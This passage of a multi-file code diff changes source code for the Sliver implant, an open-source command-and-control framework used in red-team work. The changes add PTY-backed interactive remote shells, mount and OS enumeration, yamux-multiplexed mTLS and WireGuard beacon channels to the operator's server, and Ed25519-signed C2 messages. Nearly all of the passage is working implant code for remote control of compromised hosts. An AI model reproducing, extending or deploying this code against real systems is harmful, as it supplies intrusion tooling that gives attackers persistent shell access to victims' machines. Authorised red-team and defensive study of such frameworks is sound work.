opts = append(opts, "nouserxattr")
}
if flags&unix.MNT_QUARANTINE != 0 {
opts = append(opts, "quarantine")
}
if flags&unix.MNT_UNKNOWNPERMISSIONS != 0 {
opts = append(opts, "unknown-permissions")
}
if flags&unix.MNT_DEFWRITE != 0 {
opts = append(opts, "defwrite")
}
if flags&unix.MNT_DOVOLFS != 0 {
opts = append(opts, "volfs")
}
if flags&unix.MNT_NOBLOCK != 0 {
opts = append(opts, "noblock")
}
if flags&unix.MNT_RELOAD != 0 {
opts = append(opts, "reload")
}
if flags&unix.MNT_UPDATE != 0 {
opts = append(opts, "update")
}
if flags&unix.MNT_EXPORTED != 0 {
opts = append(opts, "exported")
}
if flags&unix.MNT_MULTILABEL != 0 {
opts = append(opts, "multilabel")
}
if flags&unix.MNT_STRICTATIME != 0 {
opts = append(opts, "strictatime")
}
if flags&unix.MNT_FORCE != 0 {
opts = append(opts, "force")
}
return strings.Join(opts, ",")
}
func GetMountInformation() ([]*sliverpb.MountInfo, error) {
mountInfo := make([]*sliverpb.MountInfo, 0)
count, err := unix.Getfsstat(nil, unix.MNT_NOWAIT)
if err != nil || count == 0 {
return mountInfo, err
}
stats := make([]unix.Statfs_t, count)
count, err = unix.Getfsstat(stats, unix.MNT_NOWAIT)
if err != nil {
return mountInfo, err
}
stats = stats[:count]
for _, stat := range stats {
var mountData sliverpb.MountInfo
mountData.VolumeName = getString(stat.Mntfromname[:])
mountData.MountPoint = getString(stat.Mntonname[:])
mountData.Label = "/"
mountData.VolumeType = getString(stat.Fstypename[:])
mountData.MountOptions = formatMountFlags(stat.Flags)
mountData.TotalSpace = stat.Blocks * uint64(stat.Bsize)
mountData.FreeSpace = stat.Bavail * uint64(stat.Bsize)
mountData.UsedSpace = (stat.Blocks - stat.Bfree) * uint64(stat.Bsize)
mountInfo = append(mountInfo, &mountData)
}
return mountInfo, nil
}
+19 -1
View File
@@ -1,7 +1,25 @@
// +linux
//go:build linux
package mount
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"os"
+2 -3
View File
@@ -1,5 +1,6 @@
//go:build windows
// +build windows
package mount
/*
Sliver Implant Framework
@@ -19,8 +20,6 @@
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
package mount
import (
"errors"
"fmt"
+1 -1
View File
@@ -1,4 +1,4 @@
// +darwin
//go:build darwin
package procdump
+24 -2
View File
@@ -2,6 +2,7 @@ package pty
import (
"os"
"path/filepath"
"syscall"
"unsafe"
)
@@ -26,8 +27,29 @@ func open() (pty, tty *os.File, err error) {
return nil, nil, err
}
pty = os.NewFile(uintptr(ptm.Cfd), "/dev/ptm")
tty = os.NewFile(uintptr(ptm.Sfd), "/dev/ptm")
cName := cString(ptm.Cn[:])
sName := cString(ptm.Sn[:])
ptyPath := "/dev/ptm"
ttyPath := "/dev/ptm"
if cName != "" {
ptyPath = filepath.Join("/dev", cName)
}
if sName != "" {
ttyPath = filepath.Join("/dev", sName)
}
pty = os.NewFile(uintptr(ptm.Cfd), ptyPath)
tty = os.NewFile(uintptr(ptm.Sfd), ttyPath)
return pty, tty, nil
}
func cString(in []int8) string {
out := make([]byte, 0, len(in))
for _, c := range in {
if c == 0 {
break
}
out = append(out, byte(c))
}
return string(out)
}
+100 -5
View File
@@ -21,13 +21,15 @@ package shell
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"context"
"os"
"os/exec"
"sync"
"syscall"
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
)
@@ -45,9 +47,9 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, enablePty bool) (*Shell, error) {
func StartInteractive(tunnelID uint64, command []string, enablePty bool, rows, cols uint16) (*Shell, error) {
if enablePty {
return ptyShell(tunnelID, command)
return ptyShell(tunnelID, command, rows, cols)
}
return pipedShell(tunnelID, command)
}
@@ -98,7 +100,7 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
}, err
}
func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
func ptyShell(tunnelID uint64, command []string, rows, cols uint16) (*Shell, error) {
// {{if .Config.Debug}}
log.Printf("[ptmx] %s", command)
// {{end}}
@@ -106,7 +108,7 @@ func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
ctx, cancel := context.WithCancel(context.Background())
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
term, err := pty.Start(cmd)
ptyFile, ttyFile, err := pty.Open()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[term] %v, falling back to piped shell...", err)
@@ -115,6 +117,39 @@ func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
return pipedShell(tunnelID, command)
}
ttyPath := ttyFile.Name()
if rows > 0 && cols > 0 {
sz := &pty.Winsize{Rows: rows, Cols: cols}
_ = pty.Setsize(ttyFile, sz)
_ = pty.Setsize(ptyFile, sz)
}
cmd.Stdout = ttyFile
cmd.Stdin = ttyFile
cmd.Stderr = ttyFile
if cmd.SysProcAttr == nil {
cmd.SysProcAttr = &syscall.SysProcAttr{}
}
cmd.SysProcAttr.Setctty = true
cmd.SysProcAttr.Setsid = true
err = cmd.Start()
if err != nil {
ptyFile.Close()
ttyFile.Close()
// {{if .Config.Debug}}
log.Printf("[term] %v, falling back to piped shell...", err)
// {{end}}
cancel()
return pipedShell(tunnelID, command)
}
term := &ptyRWC{
pty: ptyFile,
tty: ttyPath,
}
_ = ttyFile.Close()
return &Shell{
ID: tunnelID,
Command: cmd,
@@ -124,6 +159,66 @@ func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
}, err
}
type ptyRWC struct {
pty *os.File
tty string
closeOnce sync.Once
}
func (p *ptyRWC) Read(b []byte) (int, error) {
return p.pty.Read(b)
}
func (p *ptyRWC) Write(b []byte) (int, error) {
return p.pty.Write(b)
}
func (p *ptyRWC) Close() error {
var retErr error
p.closeOnce.Do(func() {
if p.pty != nil {
retErr = p.pty.Close()
}
})
return retErr
}
func (p *ptyRWC) Resize(rows, cols uint32) error {
if rows > 0xffff {
rows = 0xffff
}
if cols > 0xffff {
cols = 0xffff
}
if rows == 0 || cols == 0 {
return nil
}
sz := &pty.Winsize{Rows: uint16(rows), Cols: uint16(cols)}
errTTY := error(nil)
if p.tty != "" {
ttyFile, err := os.OpenFile(p.tty, os.O_RDWR|syscall.O_NOCTTY, 0)
if err != nil {
errTTY = err
} else {
errTTY = pty.Setsize(ttyFile, sz)
_ = ttyFile.Close()
}
}
errPTY := error(nil)
if p.pty != nil {
errPTY = pty.Setsize(p.pty, sz)
}
if errTTY == nil || errPTY == nil {
return nil
}
if errTTY != nil {
return errTTY
}
return errPTY
}
// GetSystemShellPath - Find bash or sh
func GetSystemShellPath(path string) []string {
if exists(path) {
+1 -1
View File
@@ -43,7 +43,7 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
func StartInteractive(tunnelID uint64, command []string, _ bool, _, _ uint16) (*Shell, error) {
return pipedShell(tunnelID, command)
}
+1 -1
View File
@@ -62,7 +62,7 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
func StartInteractive(tunnelID uint64, command []string, _ bool, _, _ uint16) (*Shell, error) {
return pipedShell(tunnelID, command)
}
+65 -12
View File
@@ -36,6 +36,11 @@ import (
// {{end}}
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
"github.com/hashicorp/yamux"
// {{end}}
// {{if .Config.IncludeHTTP}}
"github.com/bishopfox/sliver/implant/sliver/transports/httpclient"
// {{end}}
@@ -192,6 +197,7 @@ func mtlsBeacon(uri *url.URL) *Beacon {
}
var conn *tls.Conn
var muxSession *yamux.Session
beacon := &Beacon{
ActiveC2: uri.String(),
Init: func() error {
@@ -202,15 +208,38 @@ func mtlsBeacon(uri *url.URL) *Beacon {
if err != nil {
return err
}
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
_ = conn.Close()
return err
}
muxSession, err = yamux.Client(conn, nil)
if err != nil {
_ = conn.Close()
return err
}
return nil
},
Recv: func() (*pb.Envelope, error) {
return mtls.ReadEnvelope(conn)
stream, err := muxSession.Accept()
if err != nil {
return nil, err
}
defer stream.Close()
return mtls.ReadEnvelope(stream)
},
Send: func(envelope *pb.Envelope) error {
return mtls.WriteEnvelope(conn, envelope)
stream, err := muxSession.Open()
if err != nil {
return err
}
defer stream.Close()
return mtls.WriteEnvelope(stream, envelope)
},
Close: func() error {
if muxSession != nil {
_ = muxSession.Close()
muxSession = nil
}
if conn != nil {
err = conn.Close()
if err != nil {
@@ -242,6 +271,7 @@ func wgBeacon(uri *url.URL) *Beacon {
var conn net.Conn
var dev *device.Device
var muxSession *yamux.Session
beacon := &Beacon{
ActiveC2: uri.String(),
Init: func() error {
@@ -260,25 +290,48 @@ func wgBeacon(uri *url.URL) *Beacon {
if err != nil {
return err
}
if _, err := conn.Write([]byte(wireguard.YamuxPreface)); err != nil {
_ = conn.Close()
_ = dev.Down()
return err
}
muxSession, err = yamux.Client(conn, nil)
if err != nil {
_ = conn.Close()
_ = dev.Down()
return err
}
return nil
},
Recv: func() (*pb.Envelope, error) {
return wireguard.ReadEnvelope(conn)
stream, err := muxSession.Accept()
if err != nil {
return nil, err
}
defer stream.Close()
return wireguard.ReadEnvelope(stream)
},
Send: func(envelope *pb.Envelope) error {
return wireguard.WriteEnvelope(conn, envelope)
stream, err := muxSession.Open()
if err != nil {
return err
}
defer stream.Close()
return wireguard.WriteEnvelope(stream, envelope)
},
Close: func() error {
err = conn.Close()
if err != nil {
return err
if muxSession != nil {
_ = muxSession.Close()
muxSession = nil
}
err = dev.Down()
if err != nil {
return err
if conn != nil {
_ = conn.Close()
conn = nil
}
if dev != nil {
_ = dev.Down()
dev = nil
}
conn = nil
dev = nil
return nil
},
Cleanup: func() error {
+77 -9
View File
@@ -22,12 +22,15 @@ package mtls
import (
"bytes"
"crypto/ed25519"
"crypto/sha256"
"crypto/tls"
"crypto/x509"
"encoding/binary"
"errors"
"fmt"
"io"
"sync"
"time"
// {{if .Config.Debug}}
@@ -35,9 +38,11 @@ import (
// {{end}}
"os"
"strings"
"github.com/bishopfox/sliver/implant/sliver/cryptography"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/crypto/blake2b"
"google.golang.org/protobuf/proto"
)
@@ -45,6 +50,9 @@ var (
// PingInterval - Amount of time between in-band "pings"
PingInterval = 2 * time.Minute
// YamuxPreface - Magic bytes sent before yamux frames
YamuxPreface = "MUX/1"
// caCertPEM - PEM encoded CA certificate
caCertPEM = `{{.Build.MtlsCACert}}`
@@ -52,10 +60,40 @@ var (
certPEM = `{{.Build.MtlsCert}}`
)
const mtlsEnvelopeSigningSeedPrefix = "env-signing-v1:"
var (
envelopeSigningOnce sync.Once
envelopeSigningErr error
envelopeSigningKeyID uint64
envelopeSigningPriv ed25519.PrivateKey
)
func mtlsEnvelopeSigningKey() (ed25519.PrivateKey, uint64, error) {
envelopeSigningOnce.Do(func() {
peerKeyPair := cryptography.GetPeerAgeKeyPair()
// NOTE: This file is rendered with Go's text/template; avoid literal template
// delimiters in string checks or the template parser will treat it as an action.
if peerKeyPair == nil || peerKeyPair.Private == "" || strings.Contains(peerKeyPair.Private, ".Build.PeerPrivateKey") {
envelopeSigningErr = errors.New("[mtls] missing peer private key")
return
}
seed := sha256.Sum256([]byte(mtlsEnvelopeSigningSeedPrefix + peerKeyPair.Private))
envelopeSigningPriv = ed25519.NewKeyFromSeed(seed[:])
pub := envelopeSigningPriv.Public().(ed25519.PublicKey)
digest := blake2b.Sum256(pub)
envelopeSigningKeyID = binary.LittleEndian.Uint64(digest[:8])
})
return envelopeSigningPriv, envelopeSigningKeyID, envelopeSigningErr
}
// WriteEnvelope - Writes a message to the TLS socket using length prefix framing
// which is a fancy way of saying we write the length of the message then the message
// e.g. [uint32 length|message] so the receiver can delimit messages properly
func WriteEnvelope(connection *tls.Conn, envelope *pb.Envelope) error {
func WriteEnvelope(w io.Writer, envelope *pb.Envelope) error {
data, err := proto.Marshal(envelope)
if err != nil {
// {{if .Config.Debug}}
@@ -63,15 +101,28 @@ func WriteEnvelope(connection *tls.Conn, envelope *pb.Envelope) error {
// {{end}}
return err
}
signingKey, keyID, err := mtlsEnvelopeSigningKey()
if err != nil {
return err
}
rawSigBuf := make([]byte, cryptography.RawSigSize)
binary.LittleEndian.PutUint16(rawSigBuf[:2], cryptography.EdDSA)
binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
copy(rawSigBuf[10:], ed25519.Sign(signingKey, data))
if _, werr := w.Write(rawSigBuf); werr != nil {
return werr
}
dataLengthBuf := new(bytes.Buffer)
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
if _, werr := connection.Write(dataLengthBuf.Bytes()); werr != nil {
if _, werr := w.Write(dataLengthBuf.Bytes()); werr != nil {
// {{if .Config.Debug}}
log.Print("Error writing data length: ", werr)
// {{end}}
return werr
}
if _, werr := connection.Write(data); werr != nil {
if _, werr := w.Write(data); werr != nil {
// {{if .Config.Debug}}
log.Print("Error writing data: ", werr)
// {{end}}
@@ -81,7 +132,7 @@ func WriteEnvelope(connection *tls.Conn, envelope *pb.Envelope) error {
}
// WritePing - Send a "ping" message to the server
func WritePing(connection *tls.Conn) error {
func WritePing(w io.Writer) error {
// {{if .Config.Debug}}
log.Print("Socket ping")
// {{end}}
@@ -92,16 +143,26 @@ func WritePing(connection *tls.Conn) error {
Type: pb.MsgPing,
Data: pingBuf,
}
return WriteEnvelope(connection, &envelope)
return WriteEnvelope(w, &envelope)
}
// ReadEnvelope - Reads a message from the TLS connection using length prefix framing
func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
func ReadEnvelope(r io.Reader) (*pb.Envelope, error) {
rawSigBuf := make([]byte, cryptography.RawSigSize)
dataLengthBuf := make([]byte, 4) // Size of uint32
if len(dataLengthBuf) == 0 || connection == nil {
if len(rawSigBuf) == 0 || len(dataLengthBuf) == 0 || r == nil {
panic("[[GenerateCanary]]")
}
n, err := io.ReadFull(connection, dataLengthBuf)
n, err := io.ReadFull(r, rawSigBuf)
if err != nil || n != len(rawSigBuf) {
// {{if .Config.Debug}}
log.Printf("Socket error (read raw signature): %v\n", err)
// {{end}}
return nil, err
}
n, err = io.ReadFull(r, dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("Socket error (read msg-length): %v\n", err)
@@ -119,7 +180,7 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(connection, dataBuf)
n, err = io.ReadFull(r, dataBuf)
if err != nil || n != dataLength {
// {{if .Config.Debug}}
@@ -128,6 +189,13 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
return nil, err
}
if !cryptography.MinisignVerifyRaw(dataBuf, rawSigBuf) {
// {{if .Config.Debug}}
log.Printf("Invalid signature on mtls envelope")
// {{end}}
return nil, errors.New("[mtls] invalid signature")
}
// Unmarshal the protobuf envelope
envelope := &pb.Envelope{}
err = proto.Unmarshal(dataBuf, envelope)
+216 -42
View File
@@ -39,6 +39,11 @@ import (
// {{end}}
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
"github.com/hashicorp/yamux"
// {{end}}
// {{if .Config.IncludeWG}}
"errors"
@@ -62,18 +67,19 @@ import (
// {{end}}
// {{if not .Config.IncludeNamePipe}}
"io"
"net/url"
"sync"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
// {{end}}
"io"
"time"
)
var (
_ time.Duration // Force import
_ io.ReadCloser // Force import
)
type Start func() error
@@ -198,7 +204,9 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
send := make(chan *pb.Envelope)
recv := make(chan *pb.Envelope)
ctrl := make(chan struct{})
done := make(chan struct{})
var conn *tls.Conn
var muxSession *yamux.Session
connection := &Connection{
Send: send,
@@ -215,7 +223,13 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[mtls] lost connection, cleanup...")
// {{end}}
conn.Close()
close(done)
if muxSession != nil {
muxSession.Close()
}
if conn != nil {
conn.Close()
}
close(recv)
},
}
@@ -243,45 +257,119 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
if err != nil {
return err
}
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
conn.Close()
return err
}
muxSession, err = yamux.Client(conn, nil)
if err != nil {
conn.Close()
return err
}
connection.IsOpen = true
go func() {
defer connection.Cleanup()
sendSem := make(chan struct{}, 64)
ticker := time.NewTicker(mtls.PingInterval)
defer ticker.Stop()
sendEnvelope := func(envelope *pb.Envelope) {
if envelope == nil {
return
}
select {
case sendSem <- struct{}{}:
case <-done:
return
}
go func(envelope *pb.Envelope) {
defer func() {
<-sendSem
}()
stream, err := muxSession.Open()
if err != nil {
connection.Cleanup()
return
}
defer stream.Close()
if err := mtls.WriteEnvelope(stream, envelope); err != nil {
connection.Cleanup()
return
}
}(envelope)
}
sendPing := func() {
select {
case sendSem <- struct{}{}:
case <-done:
return
}
go func() {
defer func() {
<-sendSem
}()
stream, err := muxSession.Open()
if err != nil {
connection.Cleanup()
return
}
defer stream.Close()
if err := mtls.WritePing(stream); err != nil {
connection.Cleanup()
return
}
}()
}
for {
select {
case envelope, ok := <-send:
if !ok {
return
}
err := mtls.WriteEnvelope(conn, envelope)
if err != nil {
return
}
case <-time.After(mtls.PingInterval):
err = mtls.WritePing(conn)
if err != nil {
return
}
sendEnvelope(envelope)
case <-ticker.C:
sendPing()
case <-done:
return
}
}
}()
go func() {
defer connection.Cleanup()
streamSem := make(chan struct{}, 128)
for {
envelope, err := mtls.ReadEnvelope(conn)
if err == io.EOF {
// {{if .Config.Debug}}
log.Printf("[mtls] eof")
// {{end}}
stream, err := muxSession.Accept()
if err != nil {
return
}
if err != io.EOF && err != nil {
break
}
if envelope != nil {
recv <- envelope
select {
case streamSem <- struct{}{}:
case <-done:
stream.Close()
return
}
go func() {
defer func() {
<-streamSem
}()
defer stream.Close()
envelope, err := mtls.ReadEnvelope(stream)
if err != nil {
return
}
if envelope != nil {
select {
case recv <- envelope:
case <-done:
}
}
}()
}
}()
@@ -299,9 +387,11 @@ func wgConnect(uri *url.URL) (*Connection, error) {
send := make(chan *pb.Envelope)
recv := make(chan *pb.Envelope)
ctrl := make(chan struct{})
done := make(chan struct{})
var conn net.Conn
var dev *device.Device
var muxSession *yamux.Session
connection := &Connection{
Send: send,
Recv: recv,
@@ -315,8 +405,16 @@ func wgConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[wg] lost connection, cleanup...")
// {{end}}
conn.Close()
dev.Down()
close(done)
if muxSession != nil {
muxSession.Close()
}
if conn != nil {
conn.Close()
}
if dev != nil {
dev.Down()
}
close(recv)
},
}
@@ -355,45 +453,121 @@ func wgConnect(uri *url.URL) (*Connection, error) {
if err != nil {
return err
}
if _, err := conn.Write([]byte(wireguard.YamuxPreface)); err != nil {
conn.Close()
dev.Down()
return err
}
muxSession, err = yamux.Client(conn, nil)
if err != nil {
conn.Close()
dev.Down()
return err
}
connection.IsOpen = true
go func() {
defer connection.Cleanup()
sendSem := make(chan struct{}, 64)
ticker := time.NewTicker(wireguard.PingInterval)
defer ticker.Stop()
sendEnvelope := func(envelope *pb.Envelope) {
if envelope == nil {
return
}
select {
case sendSem <- struct{}{}:
case <-done:
return
}
go func(envelope *pb.Envelope) {
defer func() {
<-sendSem
}()
stream, err := muxSession.Open()
if err != nil {
connection.Cleanup()
return
}
defer stream.Close()
if err := wireguard.WriteEnvelope(stream, envelope); err != nil {
connection.Cleanup()
return
}
}(envelope)
}
sendPing := func() {
select {
case sendSem <- struct{}{}:
case <-done:
return
}
go func() {
defer func() {
<-sendSem
}()
stream, err := muxSession.Open()
if err != nil {
connection.Cleanup()
return
}
defer stream.Close()
if err := wireguard.WritePing(stream); err != nil {
connection.Cleanup()
return
}
}()
}
for {
select {
case envelope, ok := <-send:
if !ok {
return
}
err := wireguard.WriteEnvelope(conn, envelope)
if err != nil {
return
}
case <-time.After(wireguard.PingInterval):
err = wireguard.WritePing(conn)
if err != nil {
return
}
sendEnvelope(envelope)
case <-ticker.C:
sendPing()
case <-done:
return
}
}
}()
go func() {
defer connection.Cleanup()
streamSem := make(chan struct{}, 128)
for {
envelope, err := wireguard.ReadEnvelope(conn)
if err == io.EOF {
// {{if .Config.Debug}}
log.Printf("[wireguard] eof")
// {{end}}
stream, err := muxSession.Accept()
if err != nil {
return
}
if err != io.EOF && err != nil {
break
}
if envelope != nil {
recv <- envelope
select {
case streamSem <- struct{}{}:
case <-done:
stream.Close()
return
}
go func() {
defer func() {
<-streamSem
}()
defer stream.Close()
envelope, err := wireguard.ReadEnvelope(stream)
if err != nil {
return
}
if envelope != nil {
select {
case recv <- envelope:
case <-done:
}
}
}()
}
}()
@@ -25,6 +25,8 @@ package wireguard
import (
"bufio"
"bytes"
"crypto/ed25519"
"crypto/sha256"
"encoding/binary"
"errors"
"fmt"
@@ -33,15 +35,18 @@ import (
"net/netip"
"strconv"
"strings"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/cryptography"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/implant/sliver/netstack"
"golang.org/x/crypto/blake2b"
"golang.zx2c4.com/wireguard/conn"
"golang.zx2c4.com/wireguard/device"
"golang.zx2c4.com/wireguard/tun"
@@ -49,6 +54,9 @@ import (
)
var (
// YamuxPreface - Magic bytes sent before yamux frames
YamuxPreface = "MUX/1"
serverTunIP = "100.64.0.1" // Don't let user configure this for now
tunnelNet *netstack.Net
tunAddress string
@@ -66,6 +74,36 @@ var (
failedConn = 0
)
const wgEnvelopeSigningSeedPrefix = "env-signing-v1:"
var (
envelopeSigningOnce sync.Once
envelopeSigningErr error
envelopeSigningKeyID uint64
envelopeSigningPriv ed25519.PrivateKey
)
func wgEnvelopeSigningKey() (ed25519.PrivateKey, uint64, error) {
envelopeSigningOnce.Do(func() {
peerKeyPair := cryptography.GetPeerAgeKeyPair()
// NOTE: This file is rendered with Go's text/template; avoid literal template
// delimiters in string checks or the template parser will treat it as an action.
if peerKeyPair == nil || peerKeyPair.Private == "" || strings.Contains(peerKeyPair.Private, ".Build.PeerPrivateKey") {
envelopeSigningErr = errors.New("[wireguard] missing peer private key")
return
}
seed := sha256.Sum256([]byte(wgEnvelopeSigningSeedPrefix + peerKeyPair.Private))
envelopeSigningPriv = ed25519.NewKeyFromSeed(seed[:])
pub := envelopeSigningPriv.Public().(ed25519.PublicKey)
digest := blake2b.Sum256(pub)
envelopeSigningKeyID = binary.LittleEndian.Uint64(digest[:8])
})
return envelopeSigningPriv, envelopeSigningKeyID, envelopeSigningErr
}
// GetTNet - Get the netstack Net object
func GetTNet() *netstack.Net {
return tunnelNet
@@ -87,6 +125,22 @@ func WriteEnvelope(connection net.Conn, envelope *pb.Envelope) error {
// {{end}}
return err
}
signingKey, keyID, err := wgEnvelopeSigningKey()
if err != nil {
return err
}
rawSigBuf := make([]byte, cryptography.RawSigSize)
binary.LittleEndian.PutUint16(rawSigBuf[:2], cryptography.EdDSA)
binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
copy(rawSigBuf[10:], ed25519.Sign(signingKey, data))
if _, werr := connection.Write(rawSigBuf); werr != nil {
// {{if .Config.Debug}}
log.Print("Socket error (write raw signature): ", werr)
// {{end}}
return werr
}
dataLengthBuf := new(bytes.Buffer)
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
if _, werr := connection.Write(dataLengthBuf.Bytes()); werr != nil {
@@ -121,11 +175,21 @@ func WritePing(connection net.Conn) error {
// ReadEnvelope - Reads a message from the wireguard connection using length prefix framing
func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
rawSigBuf := make([]byte, cryptography.RawSigSize)
dataLengthBuf := make([]byte, 4) // Size of uint32
if len(dataLengthBuf) == 0 || connection == nil {
if len(rawSigBuf) == 0 || len(dataLengthBuf) == 0 || connection == nil {
panic("[[GenerateCanary]]")
}
n, err := io.ReadFull(connection, dataLengthBuf)
n, err := io.ReadFull(connection, rawSigBuf)
if err != nil || n != len(rawSigBuf) {
// {{if .Config.Debug}}
log.Printf("Socket error (read raw signature): %v\n", err)
// {{end}}
return nil, err
}
n, err = io.ReadFull(connection, dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("Socket error (read msg-length): %v\n", err)
@@ -152,6 +216,13 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
return nil, err
}
if !cryptography.MinisignVerifyRaw(dataBuf, rawSigBuf) {
// {{if .Config.Debug}}
log.Printf("Invalid signature on wireguard envelope")
// {{end}}
return nil, errors.New("[wireguard] invalid signature")
}
// Unmarshal the protobuf envelope
envelope := &pb.Envelope{}
err = proto.Unmarshal(dataBuf, envelope)
@@ -165,6 +236,10 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
return envelope, nil
}
func formatWGEndpoint(address string, port uint16) string {
return net.JoinHostPort(address, strconv.Itoa(int(port)))
}
// getSessKeys - Connect to the wireguard server and retrieve session specific keys and IP
func getSessKeys(address string, port uint16) error {
_, dev, tNet, err := bringUpWGInterface(address, port, wgImplantPrivKey, wgServerPubKey, wgPeerTunIP)
@@ -172,7 +247,9 @@ func getSessKeys(address string, port uint16) error {
return err
}
dev.Up()
if err := dev.Up(); err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("Initial wg connection. Attempting to connect to wg key exchange listener")
@@ -183,6 +260,7 @@ func getSessKeys(address string, port uint16) error {
// {{if .Config.Debug}}
log.Printf("Unable to connect to wg key exchange listener: %v", err)
// {{end}}
_ = dev.Down()
return err
}
@@ -207,7 +285,10 @@ func getSessKeys(address string, port uint16) error {
// WGConnect - Get a wg connection or die trying
func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
if wgSessPrivKey == "" || failedConn > 2 {
getSessKeys(address, port)
if err := getSessKeys(address, port); err != nil {
failedConn++
return nil, nil, err
}
}
// Bring up actual wireguard connection using retrieved keys and IP
@@ -261,7 +342,7 @@ func bringUpWGInterface(address string, port uint16, implantPrivKey string, serv
wgConf := bytes.NewBuffer(nil)
fmt.Fprintf(wgConf, "private_key=%s\n", implantPrivKey)
fmt.Fprintf(wgConf, "public_key=%s\n", serverPubKey)
fmt.Fprintf(wgConf, "endpoint=%s:%d\n", address, port)
fmt.Fprintf(wgConf, "endpoint=%s\n", formatWGEndpoint(address, port))
fmt.Fprintf(wgConf, "allowed_ip=%s/0\n", "0.0.0.0")
// {{if .Config.Debug}}
@@ -0,0 +1,26 @@
//go:build windows || darwin || linux
package wireguard
import "testing"
func TestFormatWGEndpoint_IPv6(t *testing.T) {
got := formatWGEndpoint("::1", 8989)
if got != "[::1]:8989" {
t.Fatalf("unexpected endpoint: got=%q want=%q", got, "[::1]:8989")
}
}
func TestFormatWGEndpoint_IPv4(t *testing.T) {
got := formatWGEndpoint("127.0.0.1", 53)
if got != "127.0.0.1:53" {
t.Fatalf("unexpected endpoint: got=%q want=%q", got, "127.0.0.1:53")
}
}
func TestFormatWGEndpoint_Hostname(t *testing.T) {
got := formatWGEndpoint("example.com", 1337)
if got != "example.com:1337" {
t.Fatalf("unexpected endpoint: got=%q want=%q", got, "example.com:1337")
}
}
+124 -1
View File
@@ -18,6 +18,129 @@ package version
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
func GetVersion() string {
import (
"encoding/xml"
"errors"
"fmt"
//{{if .Config.Debug}}
"log"
//{{end}}
"os"
"strings"
"golang.org/x/sys/unix"
)
type plist struct {
XMLName xml.Name `xml:"plist"`
Dict dict `xml:"dict"`
}
type dict struct {
Key []string `xml:"key"`
String []string `xml:"string"`
}
func getString(input []byte) string {
ver := string(input)
if i := strings.Index(ver, "\x00"); i != -1 {
ver = ver[:i]
}
return ver
}
func readOSRelease() string {
paths := []string{
"/System/Library/CoreServices/SystemVersion.plist",
"/System/Library/CoreServices/ServerVersion.plist",
}
for _, path := range paths {
file, err := os.Open(path)
if err != nil {
continue
}
properties, err := parsePlistFile(file)
_ = file.Close()
if err != nil {
//{{if .Config.Debug}}
log.Printf("error parsing %s: %v", path, err)
//{{end}}
continue
}
if osRelease := buildOSRelease(properties); osRelease != "" {
return osRelease
}
}
return ""
}
func parsePlistFile(file *os.File) (map[string]string, error) {
var v plist
if err := xml.NewDecoder(file).Decode(&v); err != nil {
return nil, err
}
if len(v.Dict.Key) != len(v.Dict.String) {
return nil, errors.New("invalid plist content")
}
properties := make(map[string]string, len(v.Dict.Key))
for i, key := range v.Dict.Key {
properties[key] = v.Dict.String[i]
}
return properties, nil
}
func buildOSRelease(properties map[string]string) string {
productName := properties["ProductName"]
productVersion := properties["ProductVersion"]
productBuildVersion := properties["ProductBuildVersion"]
if productName == "" || productVersion == "" || productBuildVersion == "" {
return ""
}
return fmt.Sprintf("%s %s (%s)", productName, productVersion, productBuildVersion)
}
func normalizeArch(arch string) string {
arch = strings.TrimSpace(arch)
if arch == "" {
return ""
}
switch strings.ToLower(arch) {
case "amd64":
return "x86_64"
